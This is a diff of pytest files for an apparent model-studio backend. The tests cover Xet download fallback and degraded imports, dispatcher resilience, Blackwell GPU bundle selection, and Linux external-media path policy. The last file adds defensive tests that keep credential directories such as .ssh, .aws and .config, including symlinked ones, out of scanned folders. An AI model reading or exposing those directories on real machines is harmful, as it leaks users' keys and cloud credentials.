+    assert xf.child_should_disable_xet({"disable_xet": False}) is False
+    assert xf.child_should_disable_xet({}) is False
+
+
+def test_shim_injects_studio_prepare_on_http_retry(monkeypatch):
+    """A Xet stall retries over HTTP and the shim runs Studio's marker-aware
+    ``prepare_cache_for_transport(..., 'http')`` before the retry."""
+    _requires_shared()
+    for var in ("UNSLOTH_DISABLE_XET", "UNSLOTH_STABLE_DOWNLOADS", "HF_HUB_DISABLE_XET"):
+        monkeypatch.delenv(var, raising = False)
     monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: None)
 
+    seen_disable_xet = []
 
-class _FakeAttempt:
-    """Records calls to the download seam and returns scripted results."""
-
-    def __init__(self, results):
-        self._results = list(results)
-        self.calls = []
-
-    def __call__(
-        self,
+    def fake_attempt(
         repo_id,
-        filename,
-        token,
         *,
+        kind,
+        params,
+        token,
         repo_type,
         disable_xet,
         cancel_event,
@@ -206,147 +91,245 @@ class _FakeAttempt:
         interval,
         grace_period,
         on_status,
+        force_download = False,
     ):
-        self.calls.append(
-            _types.SimpleNamespace(
-                repo_id = repo_id,
-                filename = filename,
-                disable_xet = disable_xet,
-                repo_type = repo_type,
-            )
-        )
-        return self._results[len(self.calls) - 1]
+        seen_disable_xet.append(disable_xet)
+        return ("ok", "/cache/model.gguf") if disable_xet else ("stall", None)
 
+    monkeypatch.setattr(shared, "_run_download_attempt", fake_attempt)
 
-def _install(monkeypatch, results):
-    fake = _FakeAttempt(results)
-    monkeypatch.setattr(xf, "_run_download_attempt", fake)
-    return fake
-
-
-def test_cached_file_short_circuits(monkeypatch, tmp_path):
-    cached = tmp_path / "cached.gguf"
-    cached.write_bytes(b"\0" * 8)
-    monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: str(cached))
-    fake = _install(monkeypatch, [])  # must not be called
-
-    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert out == str(cached)
-    assert fake.calls == [], "spawned a download for an already-cached file"
-
-
-def test_cancel_before_start_raises_no_attempt(monkeypatch):
-    fake = _install(monkeypatch, [])
-    ev = threading.Event()
-    ev.set()
-    with pytest.raises(RuntimeError, match = "Cancelled"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None, cancel_event = ev)
-    assert fake.calls == []
-
-
-def test_nonstall_error_propagates_without_fallback(monkeypatch):
-    fake = _install(monkeypatch, [("error", "RepositoryNotFoundError: 404 not found")])
-    with pytest.raises(RuntimeError, match = "RepositoryNotFoundError"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 1, "deterministic error must not trigger an HTTP fallback"
-    assert fake.calls[0].disable_xet is False
-
-
-def test_immediate_success_uses_xet_only(monkeypatch):
-    prepared = []
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport",
-        lambda *a, **k: prepared.append(a),
-    )
-    fake = _install(monkeypatch, [("ok", "/cache/model.gguf")])
-    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert out == "/cache/model.gguf"
-    assert len(fake.calls) == 1 and fake.calls[0].disable_xet is False
-    assert prepared == [], "no cache prep should run when Xet succeeds first try"
-
-
-def test_stall_then_http_fallback_succeeds(monkeypatch):
     prepared = []
     monkeypatch.setattr(
         "hub.utils.download_registry.prepare_cache_for_transport",
         lambda repo_type, repo_id, mode, *a, **k: prepared.append((repo_type, repo_id, mode)),
     )
-    fake = _install(monkeypatch, [("stall", None), ("ok", "/cache/model.gguf")])
 
     out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
     assert out == "/cache/model.gguf"
-    assert len(fake.calls) == 2
-    assert fake.calls[0].disable_xet is False  # Xet first
-    assert fake.calls[1].disable_xet is True  # HTTP fallback
-    assert prepared == [("model", DL_REPO, "http")], "must prep cache for HTTP before the retry"
+    assert seen_disable_xet == [False, True]  # Xet first, then HTTP
+    assert prepared == [("model", DL_REPO, "http")], "shim must run Studio's marker-aware prep"
 
 
-def test_second_stall_raises_download_stall_error(monkeypatch):
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
-    )
-    fake = _install(monkeypatch, [("stall", None), ("stall", None)])
-    with pytest.raises(xf.DownloadStallError):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 2
+def test_shim_snapshot_injects_studio_prepare(monkeypatch):
+    """The snapshot wrapper forwards Studio's marker-aware prep, like the file wrapper."""
+    captured = {}
+
+    def fake_snapshot(repo_id, **kwargs):
+        captured["repo_id"] = repo_id
+        captured["prepare_for_http_fn"] = kwargs.get("prepare_for_http_fn")
+        return "/tmp/snap-dir"
+
+    monkeypatch.setattr(xf, "_shared_snapshot_download_with_xet_fallback", fake_snapshot)
+    out = xf.snapshot_download_with_xet_fallback("org/model")
+    assert out == "/tmp/snap-dir"
+    assert captured["repo_id"] == "org/model"
+    assert captured["prepare_for_http_fn"] is xf._studio_prepare_for_http
 
 
-def test_cancelled_midattempt_raises_no_fallback(monkeypatch):
-    fake = _install(monkeypatch, [("cancelled", None)])
-    with pytest.raises(RuntimeError, match = "Cancelled"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 1
+def test_degrades_gracefully_without_shared_helper(monkeypatch):
+    """On an older unsloth_zoo lacking the shared helper, the shim still imports (Studio
+    boots) and exposes stub API doing plain HF downloads with the watchdog disabled."""
+    import importlib
+
+    class _BlockShared:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            if name == "unsloth_zoo.hf_xet_fallback":
+                raise ModuleNotFoundError(f"No module named '{name}'", name = name)
+            return None
+
+    finder = _BlockShared()
+    saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None)
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+
+        # Boots without raising and mirrors the shared API surface.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.child_should_disable_xet({"disable_xet": True}) is True
+        assert degraded.get_hf_download_state(["x"]) is None  # unmeasurable
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()  # never fires
+
+        # Degraded mode still emits heartbeats so the inactivity deadline is not tripped.
+        import time as _time
+
+        beats = []
+        hb_stop = degraded.start_watchdog(
+            repo_ids = ["x"],
+            on_stall = lambda m: None,
+            on_heartbeat = beats.append,
+            interval = 0.02,
+        )
+        try:
+            deadline = _time.monotonic() + 2.0
+            while not beats and _time.monotonic() < deadline:
+                _time.sleep(0.02)
+            assert beats, "degraded watchdog emitted no heartbeat"
+        finally:
+            hb_stop.set()
+
+        # Downloads fall back to plain huggingface_hub (no watchdog, no crash).
+        called = {}
+
+        def _fake_snapshot(repo_id, **kwargs):
+            called["repo_id"] = repo_id
+            return "/snap-dir"
+
+        monkeypatch.setattr(huggingface_hub, "snapshot_download", _fake_snapshot)
+        assert degraded.snapshot_download_with_xet_fallback("org/model") == "/snap-dir"
+        assert called["repo_id"] == "org/model"
+
+        # Cancellation still holds: an already-set cancel_event aborts before the HF download.
+        import threading as _threading
+
+        cancelled = _threading.Event()
+        cancelled.set()
+        called.clear()
+        with pytest.raises(RuntimeError, match = "Cancelled"):
+            degraded.snapshot_download_with_xet_fallback("org/model", cancel_event = cancelled)
+        assert "repo_id" not in called, "degraded download ran despite cancellation"
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        if saved_shared is not None:
+            sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-def test_per_file_independent_fallback(monkeypatch):
-    """A stalled shard falls back; a sibling shard that succeeds does not."""
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
-    )
-    fake = _install(monkeypatch, [("ok", "/a"), ("stall", None), ("ok", "/b")])
-    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardA.gguf", None) == "/a"
-    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardB.gguf", None) == "/b"
-    assert [c.disable_xet for c in fake.calls] == [False, False, True]
+def test_degrades_when_unsloth_zoo_entirely_absent():
+    """When unsloth_zoo is absent entirely, the import raises
+    ModuleNotFoundError(name='unsloth_zoo') (top-level package). Guard that the shim still
+    degrades and does not re-raise, breaking every Studio import that pulls it in."""
+    import importlib
+
+    class _BlockZoo:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            # Whole package absent, so ModuleNotFoundError.name is the top-level 'unsloth_zoo'.
+            if name == "unsloth_zoo" or name.startswith("unsloth_zoo."):
+                raise ModuleNotFoundError("No module named 'unsloth_zoo'", name = "unsloth_zoo")
+            return None
+
+    finder = _BlockZoo()
+    saved = {
+        k: v
+        for k, v in list(sys.modules.items())
+        if k == "unsloth_zoo" or k.startswith("unsloth_zoo.")
+    }
+    for k in saved:
+        del sys.modules[k]
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        # Boots without raising and exposes the stub API.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.get_hf_download_state(["x"]) is None
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        sys.modules.update(saved)
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-# --------------------------------------------------------------------------- #
-# Precondition: HF_HUB_DISABLE_XET is read at import time, so assert its effect
-# in a FRESH interpreter (huggingface/huggingface_hub#3266 once ignored it).
-# --------------------------------------------------------------------------- #
-def _safe_path() -> str:
+def test_degrades_when_shared_helper_import_raises_importerror():
+    """unsloth_zoo can be installed yet fail to import when torch is missing (llama.cpp/GGUF-only
+    Studio), raising ImportError not ModuleNotFoundError. The shim must degrade for that too."""
+    import importlib
+
+    class _BlockWithImportError:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            if name == "unsloth_zoo.hf_xet_fallback":
+                # Mirror a torch-less install: a plain ImportError with no .name.
+                raise ImportError("Unsloth: Pytorch is not installed.")
+            return None
+
+    finder = _BlockWithImportError()
+    saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None)
+    saved_zoo = sys.modules.pop("unsloth_zoo", None)
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.get_hf_download_state(["x"]) is None
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        if saved_shared is not None:
+            sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared
+        if saved_zoo is not None:
+            sys.modules["unsloth_zoo"] = saved_zoo
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
+
+
+def test_retries_under_light_gpu_init_when_import_fails(monkeypatch):
+    """GPU detection in unsloth_zoo's __init__ raises NotImplementedError on a GPU-less host. The shim
+    retries under UNSLOTH_ZOO_DISABLE_GPU_INIT=1, restores the env, and degrades if the retry fails."""
+    import importlib
     import os
-    return os.environ.get("PATH", "")
 
+    monkeypatch.delenv("UNSLOTH_ZOO_DISABLE_GPU_INIT", raising = False)
+    seen_env = []
 
-def test_disable_xet_constant_set_in_fresh_interpreter():
-    code = (
-        "from huggingface_hub import constants as c; "
-        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is True else 17)"
-    )
-    proc = subprocess.run(
-        [sys.executable, "-c", code],
-        env = {"HF_HUB_DISABLE_XET": "1", "PATH": _safe_path()},
-        capture_output = True,
-        text = True,
-    )
-    assert proc.returncode == 0, (
-        f"HF_HUB_DISABLE_XET=1 did not set constants.HF_HUB_DISABLE_XET=True "
-        f"(rc={proc.returncode}): {proc.stderr}"
-    )
+    class _GpuGatedBlocker:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            # Crash is in unsloth_zoo's __init__, so intercept "unsloth_zoo" itself (the parent).
+            if name == "unsloth_zoo":
+                # Record the env each attempt sees; raise the no-GPU error both times so the shim
+                # degrades.
+                seen_env.append(os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT"))
+                raise NotImplementedError("Unsloth cannot find any torch accelerator")
+            return None
 
-
-def test_default_leaves_xet_enabled():
-    code = (
-        "from huggingface_hub import constants as c; "
-        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is False else 17)"
-    )
-    proc = subprocess.run(
-        [sys.executable, "-c", code],
-        env = {"PATH": _safe_path()},  # no HF_HUB_DISABLE_XET
-        capture_output = True,
-        text = True,
-    )
-    assert proc.returncode == 0, (
-        f"without the env var, constants.HF_HUB_DISABLE_XET was not False "
-        f"(rc={proc.returncode}): {proc.stderr}"
-    )
+    finder = _GpuGatedBlocker()
+    saved = {
+        k: v
+        for k, v in list(sys.modules.items())
+        if k == "unsloth_zoo" or k.startswith("unsloth_zoo.")
+    }
+    for k in saved:
+        del sys.modules[k]
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        # First attempt without the light env, then a retry with it set.
+        assert seen_env == [None, "1"], seen_env
+        # Both attempts raised -> Studio still boots in degraded mode.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        # The env override must not leak past the import.
+        assert os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT") is None
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        sys.modules.update(saved)
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
diff --git a/studio/backend/tests/test_inference_dispatcher_resilience.py b/studio/backend/tests/test_inference_dispatcher_resilience.py
new file mode 100644
index 0000000000..60d7503485
--- /dev/null
+++ b/studio/backend/tests/test_inference_dispatcher_resilience.py
@@ -0,0 +1,120 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Inference dispatcher resilience.
+
+The dispatcher thread is the sole consumer of the response queue; if a malformed
+response killed it, every in-flight generation would hang forever. A bad response
+must be logged and skipped, not fatal. Fakes only.
+"""
+
+from __future__ import annotations
+
+import ast
+import queue
+import sys
+import threading
+import time
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference.orchestrator import InferenceOrchestrator  # noqa: E402
+
+
+class _ScriptedQueue:
+    def __init__(self, items):
+        self._items = list(items)
+
+    def get(self, timeout = None):
+        if self._items:
+            return self._items.pop(0)
+        raise queue.Empty
+
+
+def _dispatcher():
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    o._dispatcher_stop = threading.Event()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    return o
+
+
+def test_dispatcher_survives_malformed_response_and_routes_next():
+    o = _dispatcher()
+    rid = "req-1"
+    mbox = queue.Queue()
+    o._mailboxes = {rid: mbox}
+    # A non-dict response (resp.get -> AttributeError) must not kill the loop;
+    # the following valid response must still reach its mailbox.
+    o._resp_queue = _ScriptedQueue([12345, {"request_id": rid, "type": "token", "text": "hi"}])
+
+    t = threading.Thread(target = o._dispatcher_loop, daemon = True)
+    t.start()
+    try:
+        got = mbox.get(timeout = 5)
+        assert got["text"] == "hi", "valid response must route despite the prior bad one"
+        assert t.is_alive(), "dispatcher must survive a malformed response"
+    finally:
+        o._dispatcher_stop.set()
+        t.join(timeout = 5)
+    assert not t.is_alive()
+
+
+def test_dispatcher_survives_mailbox_put_error():
+    o = _dispatcher()
+    rid = "req-2"
+
+    class _BadMailbox:
+        def put(self, _resp):
+            raise RuntimeError("mailbox is broken")
+
+    good = queue.Queue()
+    o._mailboxes = {rid: _BadMailbox(), "req-3": good}
+    o._resp_queue = _ScriptedQueue(
+        [
+            {"request_id": rid, "type": "token", "text": "boom"},
+            {"request_id": "req-3", "type": "token", "text": "ok"},
+        ]
+    )
+
+    t = threading.Thread(target = o._dispatcher_loop, daemon = True)
+    t.start()
+    try:
+        got = good.get(timeout = 5)
+        assert got["text"] == "ok"
+        assert t.is_alive()
+    finally:
+        o._dispatcher_stop.set()
+        t.join(timeout = 5)
+    assert not t.is_alive()
+
+
+def test_route_llama_streaming_async_clients_disable_proxy_env():
+    """Local llama-server streaming proxies must ignore ambient HTTP_PROXY."""
+    source = (Path(__file__).resolve().parent.parent / "routes" / "inference.py").read_text(
+        encoding = "utf-8"
+    )
+    tree = ast.parse(source)
+    calls = []
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Call):
+            continue
+        func = node.func
+        if not (
+            isinstance(func, ast.Attribute)
+            and func.attr == "AsyncClient"
+            and isinstance(func.value, ast.Name)
+            and func.value.id == "httpx"
+        ):
+            continue
+        calls.append(node)
+
+    assert len(calls) == 4
+    for call in calls:
+        assert any(
+            kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False
+            for kw in call.keywords
+        ), f"httpx.AsyncClient at line {call.lineno} must set trust_env=False"
diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py
index d69eccc54d..e9941d9e62 100644
--- a/studio/backend/tests/test_install_resolve_prebuilt.py
+++ b/studio/backend/tests/test_install_resolve_prebuilt.py
@@ -209,3 +209,154 @@ def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys):
     out = json.loads(capsys.readouterr().out.strip().splitlines()[-1])
     assert seen["repo"] == FORK
     assert out["repo"] == FORK
+
+
+# Blackwell floor is sm_100 (data-center B100/B200, B300/GB300), below consumer
+# sm_120 -- 120 wrongly excluded data-center hosts from the prebuilt selection.
+
+
+def _gpu_linux_host(caps):
+    return _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = True,
+        driver_cuda_version = (13, 1),
+        compute_caps = caps,
+    )
+
+
+def test_host_is_blackwell_includes_datacenter_parts():
+    assert ilp._host_is_blackwell(_gpu_linux_host(["10.0"])) is True  # B200 sm_100
+    assert ilp._host_is_blackwell(_gpu_linux_host(["10.3"])) is True  # B300 sm_103
+    assert ilp._host_is_blackwell(_gpu_linux_host(["12.0"])) is True  # RTX 50 sm_120
+    assert ilp._host_is_blackwell(_gpu_linux_host(["12.1"])) is True  # DGX Spark sm_121
+    assert ilp._host_is_blackwell(_gpu_linux_host(["9.0"])) is False  # Hopper
+    assert ilp._host_is_blackwell(_gpu_linux_host(["8.0"])) is False  # Ampere
+    assert ilp._host_is_blackwell(_gpu_linux_host(["9.0", "10.0"])) is True  # highest cap wins
+
+
+def _linux_cuda_artifact(runtime_line, supported_sms, min_sm, max_sm, profile):
+    return ilp.PublishedLlamaArtifact(
+        asset_name = f"app-b9739-linux-x64-{profile}.tar.gz",
+        install_kind = "linux-cuda",
+        runtime_line = runtime_line,
+        coverage_class = "newer",
+        supported_sms = supported_sms,
+        min_sm = min_sm,
+        max_sm = max_sm,
+        bundle_profile = profile,
+        rank = 50,
+    )
+
+
+def test_linux_blackwell_override_prefers_cuda13_for_datacenter(monkeypatch):
+    # Both bundles cover sm_100 and torch reports cuda12, so coverage alone can't
+    # decide -- only the sm_100 Blackwell floor lifts cuda13 to the front.
+    cuda12 = _linux_cuda_artifact(
+        "cuda12", ["86", "89", "90", "100", "120"], 86, 120, "cuda12-newer"
+    )
+    cuda13 = _linux_cuda_artifact(
+        "cuda13", ["86", "89", "90", "100", "103", "120"], 86, 120, "cuda13-newer"
+    )
+    release = ilp.PublishedReleaseBundle(
+        repo = FORK,
+        release_tag = "b9739-mix",
+        upstream_tag = "b9739",
+        assets = {cuda12.asset_name: "https://x/cuda12", cuda13.asset_name: "https://x/cuda13"},
+        artifacts = [cuda12, cuda13],
+    )
+    monkeypatch.setattr(
+        ilp,
+        "detected_linux_runtime_lines",
+        lambda: (["cuda13", "cuda12"], {"cuda13": ["/usr/lib"], "cuda12": ["/usr/lib"]}),
+    )
+
+    selection = ilp.linux_cuda_choice_from_release(
+        _gpu_linux_host(["10.0"]), release, preferred_runtime_line = "cuda12"
+    )
+    assert selection is not None
+    assert selection.primary.runtime_line == "cuda13"
+    assert selection.primary.bundle_profile == "cuda13-newer"
+
+
+def test_drop_blackwell_incapable_windows_cuda_applies_to_datacenter():
+    # B200 (sm_100) on Windows must drop the cuda-12.4 build and keep cuda13.
+    host = _host(
+        system = "Windows",
+        is_windows = True,
+        is_x86_64 = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = True,
+        compute_caps = ["10.0"],
+    )
+    cuda124 = ilp.AssetChoice(
+        repo = FORK,
+        tag = "b9739",
+        name = "llama-b9739-bin-win-cuda-12.4-x64.zip",
+        url = "https://x/124",
+        source_label = "published",
+        install_kind = "windows-cuda",
+    )
+    cuda13 = ilp.AssetChoice(
+        repo = FORK,
+        tag = "b9739",
+        name = "app-b9739-windows-x64-cuda13-newer.zip",
+        url = "https://x/13",
+        source_label = "published",
+        install_kind = "windows-cuda",
+        max_sm = 120,
+    )
+    kept = ilp._drop_blackwell_incapable_windows_cuda(host, [cuda124, cuda13])
+    assert [a.name for a in kept] == [cuda13.name]
+
+
+def test_blackwell_min_toolkit_is_sm_aware():
+    # Family floor is 12.8; sm_103/sm_121 (no native target before 12.9) lift it.
+    f = ilp._blackwell_min_toolkit_for_host
+    assert f(_gpu_linux_host(["10.0"])) == (12, 8)  # B200
+    assert f(_gpu_linux_host(["12.0"])) == (12, 8)  # RTX 50
+    assert f(_gpu_linux_host(["10.3"])) == (12, 9)  # B300
+    assert f(_gpu_linux_host(["12.1"])) == (12, 9)  # DGX Spark
+    assert f(_gpu_linux_host(["10.0", "10.3"])) == (12, 9)  # max across SMs wins
+
+
+def test_sm103_host_drops_cuda128_windows_build():
+    # B300 (sm_103) needs cuda-12.9: a legacy win-cuda-12.8 build must be dropped.
+    host = _host(
+        system = "Windows",
+        is_windows = True,
+        is_x86_64 = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = True,
+        compute_caps = ["10.3"],
+    )
+    cuda128 = ilp.AssetChoice(
+        repo = FORK,
+        tag = "b9739",
+        name = "llama-b9739-bin-win-cuda-12.8-x64.zip",
+        url = "https://x/128",
+        source_label = "published",
+        install_kind = "windows-cuda",
+    )
+    cuda129 = ilp.AssetChoice(
+        repo = FORK,
+        tag = "b9739",
+        name = "llama-b9739-bin-win-cuda-12.9-x64.zip",
+        url = "https://x/129",
+        source_label = "published",
+        install_kind = "windows-cuda",
+    )
+    kept = ilp._drop_blackwell_incapable_windows_cuda(host, [cuda128, cuda129])
+    assert [a.name for a in kept] == [cuda129.name]
+    # sm_100 stays on the 12.8 family floor and keeps the same 12.8 build.
+    b200 = _host(
+        system = "Windows",
+        is_windows = True,
+        is_x86_64 = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = True,
+        compute_caps = ["10.0"],
+    )
+    kept_b200 = ilp._drop_blackwell_incapable_windows_cuda(b200, [cuda128, cuda129])
+    assert [a.name for a in kept_b200] == [cuda128.name, cuda129.name]
diff --git a/studio/backend/tests/test_linux_external_media_paths.py b/studio/backend/tests/test_linux_external_media_paths.py
new file mode 100644
index 0000000000..c763248f6a
--- /dev/null
+++ b/studio/backend/tests/test_linux_external_media_paths.py
@@ -0,0 +1,287 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import ast
+import os
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Optional
+
+import pytest
+
+from hub.storage import scan_folders
+from storage import studio_db
+from utils.paths import external_media
+
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+class _ExistingScanFolderConn:
+    def __init__(self):
+        self.params = ()
+
+    def execute(
+        self,
+        _sql,
+        params = (),
+    ):
+        self.params = params
+        return self
+
+    def fetchone(self):
+        return {"id": 1, "path": self.params[0], "created_at": "fake"}
+
+    def commit(self):
+        pass
+
+    def close(self):
+        pass
+
+
+class _HTTPException(Exception):
+    def __init__(self, status_code: int, detail: str):
+        super().__init__(detail)
+        self.status_code = status_code
+        self.detail = detail
+
+
+def _stub_linux_path_checks(monkeypatch, module):
+    monkeypatch.setattr(module.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(module.os.path, "realpath", os.path.normpath)
+    monkeypatch.setattr(module.os.path, "expanduser", lambda p: p)
+    monkeypatch.setattr(module.os.path, "exists", lambda _p: True)
+    monkeypatch.setattr(module.os.path, "isdir", lambda _p: True)
+    monkeypatch.setattr(module.os, "access", lambda _p, _mode: True)
+
+
+def _stub_hub_scan_folder_db(monkeypatch):
+    monkeypatch.setattr(scan_folders, "_ensure_schema", lambda _conn: None)
+    monkeypatch.setattr(scan_folders, "get_connection", _ExistingScanFolderConn)
+
+
+def _stub_legacy_scan_folder_db(monkeypatch):
+    monkeypatch.setattr(studio_db, "get_connection", _ExistingScanFolderConn)
+
+
+def test_linux_run_media_policy_accepts_mounted_volume_descendants(monkeypatch):
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB")
+    assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6")
+
+
+@pytest.mark.parametrize(
+    "path",
+    [
+        "/run",
+        "/run/media",
+        "/run/media/dspofu",
+        "/run/user/1000/models",
+        "/run/systemd/private",
+        "/run/not-media/dspofu/nvmeB",
+    ],
+)
+def test_linux_run_media_policy_rejects_unrelated_run_paths(monkeypatch, path):
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    assert not external_media.is_linux_run_media_path(path)
+
+
+def test_linux_run_media_mount_roots_lists_readable_volume_roots(monkeypatch, tmp_path):
+    base = tmp_path / "run" / "media"
+    mount = base / "dspofu" / "nvmeB"
+    sensitive_mount = base / "dspofu" / ".ssh"
+    sensitive_aws_mount = base / "dspofu" / ".aws"
+    other_user_mount = base / "other" / "backup"
+    incomplete = base / "dspofu-only"
+    mount.mkdir(parents = True)
+    sensitive_mount.mkdir()
+    sensitive_aws_mount.mkdir()
+    other_user_mount.mkdir(parents = True)
+    incomplete.mkdir()
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
+
+    assert roots == [mount.resolve()]
+
+
+def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name(monkeypatch, tmp_path):
+    base = tmp_path / "run" / "media"
+    normal_mount = base / "dspofu" / "nvmeB"
+    sensitive_target = base / "dspofu" / ".config"
+    normal_mount.mkdir(parents = True)
+    sensitive_target.mkdir()
+    alias = base / "dspofu" / "config-alias"
+    alias.symlink_to(sensitive_target, target_is_directory = True)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
+
+    assert roots == [normal_mount.resolve()]
+
+
+def test_linux_run_media_mount_roots_skips_sensitive_resolved_descendant(monkeypatch, tmp_path):
+    base = tmp_path / "run" / "media"
+    normal_mount = base / "dspofu" / "nvmeB"
+    sensitive_descendant = normal_mount / ".ssh" / "models"
+    sensitive_descendant.mkdir(parents = True)
+    alias = base / "dspofu" / "models-alias"
+    alias.symlink_to(sensitive_descendant, target_is_directory = True)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
+
+    assert roots == [normal_mount.resolve()]
+
+
+def test_hub_scan_folder_accepts_linux_run_media_mount(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, scan_folders)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_hub_scan_folder_db(monkeypatch)
+    target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6"
+
+    row = scan_folders.add_scan_folder(target)
+
+    assert row["path"] == target
+
+
+@pytest.mark.parametrize(
+    "target",
+    [
+        "/run",
+        "/run/media",
+        "/run/media/dspofu",
+        "/run/user/1000/models",
+        "/run/systemd/private",
+        "/run/not-media/dspofu/nvmeB",
+    ],
+)
+def test_hub_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target):
+    _stub_linux_path_checks(monkeypatch, scan_folders)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_hub_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Path under /run is not allowed"):
+        scan_folders.add_scan_folder(target)
+
+
+def test_hub_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, scan_folders)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_hub_scan_folder_db(monkeypatch)
+
